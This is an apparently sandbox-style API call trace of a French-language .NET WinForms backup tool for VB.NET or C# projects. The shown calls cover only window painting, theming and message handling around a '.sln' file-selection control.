[0247.147] DrawThemeParentBackground () returned 0x0 [0247.147] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0247.147] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0247.147] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0247.147] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.147] GetSystemMetrics (nIndex=42) returned 0 [0247.147] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.147] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0247.148] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.148] SaveDC (hdc=0x2c0101a0) returned 2 [0247.148] GetNearestColor (hdc=0x2c0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.148] CreateSolidBrush (color=0xf0f0f0) returned 0x251006b3 [0247.148] FillRect (hDC=0x2c0101a0, lprc=0x52e314, hbr=0x251006b3) returned 1 [0247.148] DeleteObject (ho=0x251006b3) returned 1 [0247.148] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.148] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0247.148] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.148] GetSystemMetrics (nIndex=42) returned 0 [0247.148] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.148] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0247.148] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e414 | out: lpRect=0x52e414) returned 1 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.148] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.149] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.149] SaveDC (hdc=0x2c0101a0) returned 2 [0247.149] GetNearestColor (hdc=0x2c0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0247.149] CreateSolidBrush (color=0xf0f0f0) returned 0x261006b3 [0247.149] FillRect (hDC=0x2c0101a0, lprc=0x52e2b4, hbr=0x261006b3) returned 1 [0247.149] DeleteObject (ho=0x261006b3) returned 1 [0247.149] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.149] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0247.149] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0247.149] GetSystemMetrics (nIndex=42) returned 0 [0247.149] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e39c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0247.149] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e39c) returned 0x23 [0247.149] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.149] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.149] IsAppThemed () returned 0x1 [0247.149] GetThemeAppProperties () returned 0x3 [0247.149] GetThemeAppProperties () returned 0x3 [0247.149] IsAppThemed () returned 0x1 [0247.149] GetThemeAppProperties () returned 0x3 [0247.149] GetThemeAppProperties () returned 0x3 [0247.149] IsThemePartDefined () returned 0x1 [0247.149] GdipCreateRegion (region=0x52e7a8) returned 0x0 [0247.149] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0247.149] GdipCreateMatrix (matrix=0x52e7a8) returned 0x0 [0247.149] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0247.150] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0247.150] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.150] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0247.150] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.150] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.150] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4b20) returned 0x0 [0247.150] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.150] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0247.150] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0247.150] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0247.150] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0247.150] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0247.150] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0247.150] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.150] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.150] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.150] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.150] SaveDC (hdc=0x2c0101a0) returned 1 [0247.150] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9c040221 [0247.150] GetClipRgn (hdc=0x2c0101a0, hrgn=0x9c040221) returned 0 [0247.150] SelectClipRgn (hdc=0x2c0101a0, hrgn=0x700401e4) returned 2 [0247.150] DeleteObject (ho=0x9c040221) returned 1 [0247.150] DeleteObject (ho=0x700401e4) returned 1 [0247.150] OffsetViewportOrgEx (in: hdc=0x2c0101a0, x=0, y=0, lppt=0x24bc2b8 | out: lppt=0x24bc2b8) returned 1 [0247.150] IsAppThemed () returned 0x1 [0247.151] GetThemeAppProperties () returned 0x3 [0247.151] GetThemeAppProperties () returned 0x3 [0247.151] DrawThemeBackground () returned 0x0 [0247.151] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.151] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.151] GdipCreateRegion (region=0x52e790) returned 0x0 [0247.151] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0247.151] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0247.151] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0247.151] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0247.151] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.151] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0247.151] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.151] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4b20 [0247.151] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4b20) returned 0x0 [0247.151] LocalFree (hMem=0x4fa4b20) returned 0x0 [0247.151] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0247.152] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0247.152] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0247.152] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0247.152] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0247.152] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0247.152] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.152] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.152] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.152] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.152] SaveDC (hdc=0x2c0101a0) returned 1 [0247.152] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x710401e4 [0247.152] GetClipRgn (hdc=0x2c0101a0, hrgn=0x710401e4) returned 0 [0247.152] SelectClipRgn (hdc=0x2c0101a0, hrgn=0x9d040221) returned 2 [0247.152] DeleteObject (ho=0x710401e4) returned 1 [0247.152] DeleteObject (ho=0x9d040221) returned 1 [0247.152] OffsetViewportOrgEx (in: hdc=0x2c0101a0, x=0, y=0, lppt=0x24bc58c | out: lppt=0x24bc58c) returned 1 [0247.152] IsAppThemed () returned 0x1 [0247.152] GetThemeAppProperties () returned 0x3 [0247.152] GetThemeAppProperties () returned 0x3 [0247.152] GetThemeBackgroundContentRect () returned 0x0 [0247.152] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.152] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.152] IsAppThemed () returned 0x1 [0247.152] GetThemeAppProperties () returned 0x3 [0247.152] GetThemeAppProperties () returned 0x3 [0247.152] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0247.153] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0247.153] GetCurrentObject (hdc=0x2c0101a0, type=0x1) returned 0x1b00017 [0247.153] GetCurrentObject (hdc=0x2c0101a0, type=0x2) returned 0x1900010 [0247.153] GetCurrentObject (hdc=0x2c0101a0, type=0x7) returned 0xa0506be [0247.153] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.153] SaveDC (hdc=0x2c0101a0) returned 1 [0247.153] GetTextAlign (hdc=0x2c0101a0) returned 0x0 [0247.153] GetTextColor (hdc=0x2c0101a0) returned 0x0 [0247.153] GetCurrentObject (hdc=0x2c0101a0, type=0x6) returned 0x18a002e [0247.153] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0247.153] SelectObject (hdc=0x2c0101a0, h=0xc0a01e7) returned 0x18a002e [0247.153] GetBkMode (hdc=0x2c0101a0) returned 2 [0247.153] SetBkMode (hdc=0x2c0101a0, mode=1) returned 2 [0247.153] DrawTextExW (in: hdc=0x2c0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x24bc920 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0247.153] DrawTextExW (in: hdc=0x2c0101a0, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x24bc920 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0247.154] RestoreDC (hdc=0x2c0101a0, nSavedDC=-1) returned 1 [0247.154] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.154] GetFocus () returned 0x10186 [0247.154] IsAppThemed () returned 0x1 [0247.154] GetThemeAppProperties () returned 0x3 [0247.154] GetThemeAppProperties () returned 0x3 [0247.154] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0247.154] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x2c0101a0, x1=0, y1=0, rop=0xcc0020) returned 1 [0247.154] GdipReleaseDC (graphics=0x4da5930, hdc=0x2c0101a0) returned 0x0 [0247.154] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0247.154] SelectObject (hdc=0x2c0101a0, h=0x185000f) returned 0xa0506be [0247.154] DeleteDC (hdc=0x2c0101a0) returned 1 [0247.154] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0247.154] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0247.155] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.155] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.155] WaitMessage () returned 1 [0247.315] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.315] IsWindowUnicode (hWnd=0x101a4) returned 1 [0247.315] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.315] TranslateMessage (lpMsg=0x52ef98) returned 0 [0247.315] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.315] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.315] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.315] WaitMessage () returned 1 [0247.465] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.465] IsWindowUnicode (hWnd=0x101a6) returned 1 [0247.465] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0247.465] TranslateMessage (lpMsg=0x52ef98) returned 0 [0247.465] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0247.465] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.465] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0247.465] WaitMessage () returned 1 [0250.931] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0250.931] IsWindowUnicode (hWnd=0x10186) returned 1 [0250.932] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0250.932] GetKeyState (nVirtKey=16) returned 0 [0250.932] GetKeyState (nVirtKey=17) returned 0 [0250.932] GetKeyState (nVirtKey=18) returned -127 [0250.932] SendMessageW (hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0250.932] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x1 [0250.932] GetKeyState (nVirtKey=16) returned 0 [0250.932] GetKeyState (nVirtKey=17) returned 0 [0250.932] GetKeyState (nVirtKey=18) returned -127 [0250.932] TranslateMessage (lpMsg=0x52ef98) returned 1 [0250.932] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0250.932] GetKeyState (nVirtKey=16) returned 0 [0250.932] GetKeyState (nVirtKey=17) returned 0 [0250.932] GetKeyState (nVirtKey=18) returned -127 [0250.932] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x104, wParam=0x12, lParam=0x20380001) returned 0x0 [0250.932] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0250.932] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0250.932] WaitMessage () returned 1 [0250.941] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0250.941] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0250.942] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0250.942] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x46, wParam=0x0, lParam=0x52ee80) returned 0x0 [0251.042] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52ec30 | out: lpwndpl=0x52ec30) returned 1 [0251.042] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0251.042] GetClientRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0251.042] GetWindowRect (in: hWnd=0x1016e, lpRect=0x52ebe0 | out: lpRect=0x52ebe0) returned 1 [0251.061] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x47, wParam=0x0, lParam=0x52ee80) returned 0x0 [0251.061] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0xd, wParam=0x104, lParam=0x433edb8) returned 0x0 [0251.061] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0251.140] NtdllDefWindowProc_W () returned 0x0 [0251.140] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0251.140] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x10170, Msg=0x1c, wParam=0x0, lParam=0x560) returned 0x0 [0251.140] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0251.140] GetCapture () returned 0x0 [0251.140] InvalidateRect (hWnd=0x10186, lpRect=0x0, bErase=0) returned 1 [0251.140] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0251.141] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0251.141] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x10186, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0251.141] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.141] IsWindowUnicode (hWnd=0x10186) returned 1 [0251.141] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0251.141] TranslateMessage (lpMsg=0x52ef98) returned 0 [0251.141] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0251.141] BeginPaint (in: hWnd=0x10186, lpPaint=0x52ea7c | out: lpPaint=0x52ea7c) returned 0x60106b7 [0251.141] SelectPalette (hdc=0x60106b7, hPal=0x190806b0, bForceBkgd=1) returned 0x188000b [0251.141] CreateCompatibleDC (hdc=0x60106b7) returned 0x3d0101a0 [0251.141] SelectObject (hdc=0x3d0101a0, h=0xa0506be) returned 0x185000f [0251.141] GdipCreateFromHDC (hdc=0x3d0101a0, graphics=0x52ea94) returned 0x0 [0251.141] GdipTranslateWorldTransform (graphics=0x4da5930, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0251.141] GdipSetClipRectI (graphics=0x4da5930, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0251.141] GdipCreateMatrix (matrix=0x52eadc) returned 0x0 [0251.141] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0251.141] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52eaf4) returned 0x0 [0251.141] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.141] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4c70) returned 0x0 [0251.141] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.141] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0251.141] GdipCreateRegion (region=0x52eadc) returned 0x0 [0251.142] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0251.142] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52eae8) returned 0x0 [0251.142] GdipSaveGraphics (graphics=0x4da5930, state=0x52eb14) returned 0x0 [0251.142] GdipRestoreGraphics (graphics=0x4da5930, state=0xfd8d0dbd) returned 0x0 [0251.142] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0251.142] GdipGetDC (graphics=0x4da5930, hdc=0x52e900) returned 0x0 [0251.142] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.142] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.142] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.142] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.142] SaveDC (hdc=0x3d0101a0) returned 1 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xf0f0f0) returned 0xf0f0f0 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0x696969) returned 0x696969 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xa0a0a0) returned 0xa0a0a0 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0x0) returned 0x0 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xffffff) returned 0xffffff [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xe5e5e5) returned 0xe5e5e5 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0xd7d7d7) returned 0xd7d7d7 [0251.142] GetNearestColor (hdc=0x3d0101a0, color=0x0) returned 0x0 [0251.142] RestoreDC (hdc=0x3d0101a0, nSavedDC=-1) returned 1 [0251.142] GdipReleaseDC (graphics=0x4da5930, hdc=0x3d0101a0) returned 0x0 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] DrawTextExW (in: hdc=0x300101e8, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e7bc, format=0x2415, lpdtp=0x2301300 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e7bc) returned 13 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetFocus () returned 0x0 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsThemePartDefined () returned 0x1 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsAppThemed () returned 0x1 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] GetThemeAppProperties () returned 0x3 [0251.143] IsThemePartDefined () returned 0x1 [0251.143] GdipCreateRegion (region=0x52e804) returned 0x0 [0251.143] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0251.143] GdipCreateMatrix (matrix=0x52e804) returned 0x0 [0251.143] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0251.144] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e81c) returned 0x0 [0251.144] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.144] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0251.144] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.144] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4c70 [0251.144] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4c70) returned 0x0 [0251.144] LocalFree (hMem=0x4fa4c70) returned 0x0 [0251.144] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0251.144] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e844) returned 0x0 [0251.144] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e834) returned 0x0 [0251.144] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e834) returned 0x0 [0251.144] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0251.144] GdipGetDC (graphics=0x4da5930, hdc=0x52e84c) returned 0x0 [0251.144] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.144] GetCurrentObject (hdc=0x3d0101a0, type=0x2) returned 0x1900010 [0251.144] GetCurrentObject (hdc=0x3d0101a0, type=0x7) returned 0xa0506be [0251.144] GetCurrentObject (hdc=0x3d0101a0, type=0x6) returned 0x18a002e [0251.144] SaveDC (hdc=0x3d0101a0) returned 1 [0251.144] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x9e040221 [0251.144] GetClipRgn (hdc=0x3d0101a0, hrgn=0x9e040221) returned 0 [0251.144] SelectClipRgn (hdc=0x3d0101a0, hrgn=0x780401e4) returned 2 [0251.144] DeleteObject (ho=0x9e040221) returned 1 [0251.144] DeleteObject (ho=0x780401e4) returned 1 [0251.144] OffsetViewportOrgEx (in: hdc=0x3d0101a0, x=0, y=0, lppt=0x23019b0 | out: lppt=0x23019b0) returned 1 [0251.144] DrawThemeParentBackground () returned 0x0 [0251.145] GetWindowPlacement (in: hWnd=0x1016e, lpwndpl=0x52e5c0 | out: lpwndpl=0x52e5c0) returned 1 [0251.145] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e56c | out: lpRect=0x52e56c) returned 1 [0251.145] GetWindowTextLengthW (hWnd=0x1016e) returned 35 [0251.145] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0251.145] GetSystemMetrics (nIndex=42) returned 0 [0251.145] GetWindowTextW (in: hWnd=0x1016e, lpString=0x52e3fc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0251.145] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016e, Msg=0xd, wParam=0x24, lParam=0x52e3fc) returned 0x23 [0251.145] GetClientRect (in: hWnd=0x1016e, lpRect=0x52e474 | out: lpRect=0x52e474) returned 1 [0251.145] GetCurrentObject (hdc=0x3d0101a0, type=0x1) returned 0x1b00017 [0251.145] GetCurrentObject (hdc=0x3d0101a0, 